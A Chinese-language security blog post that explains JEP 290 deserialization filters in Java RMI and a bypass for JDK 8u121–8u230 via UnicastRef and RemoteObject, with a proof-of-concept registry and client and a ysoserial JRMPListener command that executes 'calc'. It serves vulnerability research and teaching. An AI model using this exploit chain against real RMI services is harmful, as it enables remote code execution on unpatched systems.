通过 JVM 参数或者配置文件进行配置
对于 RegistryImpl
在 RegistryImpl 中含有一个静态字段 registryFilter ,所以在 new RegistryImpl对象的时候,会调用 initRegistryFilter 方法进行赋值:

initRegistryFilter方法会先读取 JVM 的 sun.rmi.registry.registryFilter 的属性,或者是读取 %JAVA_HOME%\conf\security\java.security 配置文件中的 sun.rmi.registry.registryFilter 字段来得到 JEP 290 形式的 pattern ,再调用 ObjectInputFilter.Config.createFilter2 创建 filter并且返回。

白名单就是这个目录

有些是%JAVA_HOME\conf\security\java.security%

#sun.rmi.registry.registryFilter=\
#    maxarray=1000000;\
#    maxdepth=20;\
#    java.lang.String;\
#    java.lang.Number;\
#    java.lang.reflect.Proxy;\
#    java.rmi.Remote;\
#    sun.rmi.server.UnicastRef;\
#    sun.rmi.server.RMIClientSocketFactory;\
#    sun.rmi.server.RMIServerSocketFactory;\
#    java.rmi.activation.ActivationID;\
#    java.rmi.server.UID
RegistryImpl#registryFilter函数会先判断 RegistryImpl#regstiryFilter 字段是否为 null 来决定使用用户自定义的过滤规则,还是使用默认的白名单规则,如果不是 null 的话,会先调用用户自定义的过滤规则进行检查,接着判断检查结果,如果不是 UNDECIDED 就直接返回检查的结果,否则再使用默认的白名单检查。

对于 DGCImpl
在 DGCImpl 中含有一个静态字段 dgcFilter ,所以在 new DGCImpl对象的时候,会调用 initDgcFilter 方法进行赋值

initDgcFilter方法会先读取 JVM 的 sun.rmi.transport.dgcFilter 的属性,或者是读取 %JAVA_HOME\conf\security\java.security% 配置文件中的 sun.rmi.transport.dgcFilter 字段来得到 JEP 290 形式的 pattern ,再调用 ObjectInputFilter.Config.createFilter 创建 filter并且返回。

#sun.rmi.transport.dgcFilter=\
#    java.rmi.server.ObjID;\
#    java.rmi.server.UID;\
#    java.rmi.dgc.VMID;\
#    java.rmi.dgc.Lease;\
#    maxdepth=5;maxarray=10000
类似的,如果这里的dcgFilter不为空的话,优先调用它去对输入进行过滤。具体来说,会先判断 DGCImpl#dgcFilter 字段是否为 null 来决定使用用户自定义的过滤规则,还是使用默认的白名单规则,如果不是 null 的话,会先调用用户自定义的过滤规则进行检查,接着判断检查结果,如果不是 UNDECIDED 就直接返回检查的结果,否则再使用默认的白名单检查。

仔细看的话,似乎是个递归
白名单总结
在RegistryImpl#registryFilter中的白名单内容有:
- String
 - Number
 - Remote
 - Proxy
 - UnicastRef
 - RMIClientSocketFactory
 - RMIServerSocketFactory
 - ActivationID
 - UID
 
在DGCImpl#checkInput中的白名单内容有:
- ObjID
 - UID
 - VMID
 - Lease
 
只要反序列化的类不是白名单中的类, 便会返回REJECTED操作符, 表示序列化流中有不合法的内容, 直接抛出异常.
RMI 中 JEP 290 的绕过
Bypass 8u121~8u230
UnicastRef 类
首先研究jdk8u121

跟进LocateRegistry#getRegistry方法, 先用TCPEndpoint封装Registry的host、port等信息, 然后用UnicastRef封装了liveRef, 最终获取到一个在其中封装了一个UnicastRef对象的RegistryImpl_Stub对象

lookup下断点,看看Client中的stub对象是如何连接Registry的,跟进后不难看出, 其连接过程是先通过UnicastRef的newCall方法发起连接, 然后把要绑定的对象发送到Registry

因此, 如果我们可以控制UnicastRef#LiveRef所封装的host、port等信息, 便可以发起一个任意的JRMP连接请求, 这个trick点和ysoserial中的payloads.JRMPClient是相同的原理.
RemoteObject 类
前面我们调试lookup的时候,会看到下面的调用尝试

不过我好像调不进去,事后我直接remoteObject#readObject下断点了
看到调用栈还是很恐怖的

还好没去认真调
它的readObject最后返回ref,   ref.readExternal(in)中的ref正好是一个UnicastRef对象,是白名单里面的

继续跟进

跟进LiveRef#read方法, 在该方法中先会调用TCPEndpoint#readHostPortFormat方法读出序列化流中的host和port相关信息, 然后将其重新封装成一个LiveRef对象, 并将其存储到当前的ConnectionInputStream上.

saveRef其实是做一个映射,其建立了一个TCPEndpoint到ArrayList<LiveRef>的映射关系.

回到前面的RemoteObject#readObject方法, 这里的readObject是在RegistryImpl_Skle#dispatch中的readObject方法触发来的.
。。。。。。。。。。。。
实操
在上文对UnicastRef和RemoteObject两个类的分析中可以发现:
RemoteObject类及其子类对象可以被bind或者lookup到Registry, 且在白名单之中.RemoteObject类及其没有实现readObject方法的子类经过反序列化可以通过内部的UnicastRef对象发起JRMP请求连接恶意的Server.
至此, ByPass JEP-290的思路就非常明确了:
ysoserial开启一个恶意的JRMPListener.- 控制
RemoteObject中的UnicastRef对象(封装了恶意Server的host、port等信息). Client或者Server向Registry发送这个RemoteObject对象,Registry触发readObject方法之后会向恶意的JRMP Server发起连接请求.- 连接成功后成功触发
JRMPListener. 
Registry触发反序列化利用链如下:
客户端发送数据 ->...
UnicastServerRef#dispatch –>
UnicastServerRef#oldDispatch –>
RegistryImpl_Skle#dispatch –> RemoteObject#readObject
StreamRemoteCall#releaseInputStream –>
ConnectionInputStream#registerRefs –>
DGCClient#registerRefs –>
DGCClient$EndpointEntry#registerRefs –>
DGCClient$EndpointEntry#makeDirtyCall –>
DGCImpl_Stub#dirty –>
UnicastRef#invoke –> (RemoteCall var1)
StreamRemoteCall#executeCall –>
ObjectInputSteam#readObject –> "demo"
ByPass JEP-290的关键在于: 通过反序列化将Registry变为JRMP客户端, 向JRMPListener发起JRMP请求,这里还需要注意的一点就是需要找到一个类实现类RemoteObject方法,

POC
RMIRegistry
package Bypass1;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
public class RMIRegistry {
    public static void main(String[] args) throws RemoteException {
        LocateRegistry.createRegistry(2222);
        System.out.println("RMI Registry Start...");
        while (true);
    }
}
RMIClient
package Bypass1;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class RMIClient {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.getRegistry(2222);
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 9999);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        registry.bind("demo", obj);
    }
}
java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 "calc"


修复
JDK8u231版本及以上的DGCImpl_Stub#dirty方法中多了一个setObjectInputFilter的过程, 导致JEP 290重新可以check到.

您好~我是腾讯云开发者社区运营,关注了您分享的技术文章,觉得内容很棒,我们诚挚邀请您加入腾讯云自媒体分享计划。完整福利和申请地址请见:https://cloud.tencent.com/developer/support-plan
作者申请此计划后将作者的文章进行搬迁同步到社区的专栏下,你只需要简单填写一下表单申请即可,我们会给作者提供包括流量、云服务器等,另外还有些周边礼物。
谢邀